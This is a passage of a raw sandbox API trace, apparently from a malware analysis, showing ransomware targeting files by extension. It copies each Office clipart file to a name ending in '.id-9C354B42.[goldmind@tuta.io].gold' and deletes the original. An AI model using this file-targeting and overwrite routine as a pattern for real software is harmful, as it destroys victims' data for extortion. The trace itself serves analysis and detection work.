Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".zip") returned 4 [0115.196] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".rar") returned 4 [0115.196] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.197] lstrlenW (lpString=".bz2") returned 4 [0115.197] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.197] lstrlenW (lpString=".7z") returned 3 [0115.197] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.197] lstrlenW (lpString=".dbf") returned 4 [0115.197] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.197] lstrlenW (lpString=".1cd") returned 4 [0115.197] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.197] lstrlenW (lpString=".jpg") returned 4 [0115.197] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.197] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.197] lstrlenW (lpString="J0214948.WMF") returned 12 [0115.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.198] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=44794) returned 1 [0115.198] CloseHandle (hObject=0x364) returned 1 [0115.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf")) returned 0x20 [0115.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.200] GetLastError () returned 0x0 [0115.200] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xaefa, lpOverlapped=0x0) returned 1 [0115.202] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xaf00, lpOverlapped=0x0) returned 1 [0115.203] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.203] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.204] SetEndOfFile (hFile=0x198) returned 1 [0115.204] CloseHandle (hObject=0x198) returned 1 [0115.204] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.204] SetEndOfFile (hFile=0x364) returned 1 [0115.206] CloseHandle (hObject=0x364) returned 1 [0115.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf")) returned 1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.207] lstrlenW (lpString=".doc") returned 4 [0115.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.207] lstrlenW (lpString=".docx") returned 5 [0115.207] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0115.207] lstrlenW (lpString=".pdf") returned 4 [0115.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.207] lstrlenW (lpString=".xls") returned 4 [0115.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.207] lstrlenW (lpString=".xlsx") returned 5 [0115.207] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0115.207] lstrlenW (lpString=".ppt") returned 4 [0115.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.207] lstrlenW (lpString=".zip") returned 4 [0115.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.207] lstrlenW (lpString=".rar") returned 4 [0115.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.207] lstrlenW (lpString=".bz2") returned 4 [0115.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString=".7z") returned 3 [0115.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".dbf") returned 4 [0115.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".1cd") returned 4 [0115.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".jpg") returned 4 [0115.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".doc") returned 4 [0115.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString=".docx") returned 5 [0115.208] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0115.208] lstrlenW (lpString=".pdf") returned 4 [0115.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString=".xls") returned 4 [0115.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.208] lstrlenW (lpString=".xlsx") returned 5 [0115.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0115.208] lstrlenW (lpString=".ppt") returned 4 [0115.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".zip") returned 4 [0115.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.208] lstrlenW (lpString=".rar") returned 4 [0115.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString=".bz2") returned 4 [0115.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString=".7z") returned 3 [0115.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".dbf") returned 4 [0115.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".1cd") returned 4 [0115.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0115.208] lstrlenW (lpString=".jpg") returned 4 [0115.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.208] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.208] lstrlenW (lpString="J0215070.WMF") returned 12 [0115.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.209] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=11628) returned 1 [0115.209] CloseHandle (hObject=0x364) returned 1 [0115.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf")) returned 0x20 [0115.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.210] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.210] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.211] GetLastError () returned 0x0 [0115.211] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2d6c, lpOverlapped=0x0) returned 1 [0115.213] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2d70, lpOverlapped=0x0) returned 1 [0115.213] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.214] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.214] SetEndOfFile (hFile=0x198) returned 1 [0115.214] CloseHandle (hObject=0x198) returned 1 [0115.214] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.214] SetEndOfFile (hFile=0x364) returned 1 [0115.216] CloseHandle (hObject=0x364) returned 1 [0115.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf")) returned 1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".doc") returned 4 [0115.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString=".docx") returned 5 [0115.217] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.217] lstrlenW (lpString=".pdf") returned 4 [0115.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString=".xls") returned 4 [0115.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.217] lstrlenW (lpString=".xlsx") returned 5 [0115.217] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.217] lstrlenW (lpString=".ppt") returned 4 [0115.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".zip") returned 4 [0115.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.217] lstrlenW (lpString=".rar") returned 4 [0115.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString=".bz2") returned 4 [0115.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString=".7z") returned 3 [0115.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".dbf") returned 4 [0115.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".1cd") returned 4 [0115.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".jpg") returned 4 [0115.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.217] lstrlenW (lpString=".doc") returned 4 [0115.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString=".docx") returned 5 [0115.218] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.218] lstrlenW (lpString=".pdf") returned 4 [0115.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString=".xls") returned 4 [0115.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.218] lstrlenW (lpString=".xlsx") returned 5 [0115.218] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.218] lstrlenW (lpString=".ppt") returned 4 [0115.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.218] lstrlenW (lpString=".zip") returned 4 [0115.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.218] lstrlenW (lpString=".rar") returned 4 [0115.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString=".bz2") returned 4 [0115.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString=".7z") returned 3 [0115.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.218] lstrlenW (lpString=".dbf") returned 4 [0115.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.218] lstrlenW (lpString=".1cd") returned 4 [0115.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0115.218] lstrlenW (lpString=".jpg") returned 4 [0115.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.218] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.218] lstrlenW (lpString="J0215076.WMF") returned 12 [0115.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.219] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8016) returned 1 [0115.219] CloseHandle (hObject=0x364) returned 1 [0115.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf")) returned 0x20 [0115.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.219] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.219] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.220] GetLastError () returned 0x0 [0115.220] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1f50, lpOverlapped=0x0) returned 1 [0115.222] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1f60, lpOverlapped=0x0) returned 1 [0115.222] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.222] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.223] SetEndOfFile (hFile=0x198) returned 1 [0115.223] CloseHandle (hObject=0x198) returned 1 [0115.223] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.223] SetEndOfFile (hFile=0x364) returned 1 [0115.224] CloseHandle (hObject=0x364) returned 1 [0115.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf")) returned 1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".doc") returned 4 [0115.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".docx") returned 5 [0115.226] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0115.226] lstrlenW (lpString=".pdf") returned 4 [0115.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".xls") returned 4 [0115.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.226] lstrlenW (lpString=".xlsx") returned 5 [0115.226] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0115.226] lstrlenW (lpString=".ppt") returned 4 [0115.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".zip") returned 4 [0115.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.226] lstrlenW (lpString=".rar") returned 4 [0115.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".bz2") returned 4 [0115.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".7z") returned 3 [0115.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".dbf") returned 4 [0115.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".1cd") returned 4 [0115.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".jpg") returned 4 [0115.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".doc") returned 4 [0115.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".docx") returned 5 [0115.226] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0115.226] lstrlenW (lpString=".pdf") returned 4 [0115.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString=".xls") returned 4 [0115.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.226] lstrlenW (lpString=".xlsx") returned 5 [0115.226] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0115.226] lstrlenW (lpString=".ppt") returned 4 [0115.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.226] lstrlenW (lpString=".zip") returned 4 [0115.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.226] lstrlenW (lpString=".rar") returned 4 [0115.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.227] lstrlenW (lpString=".bz2") returned 4 [0115.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.227] lstrlenW (lpString=".7z") returned 3 [0115.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0115.227] lstrlenW (lpString=".dbf") returned 4 [0115.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 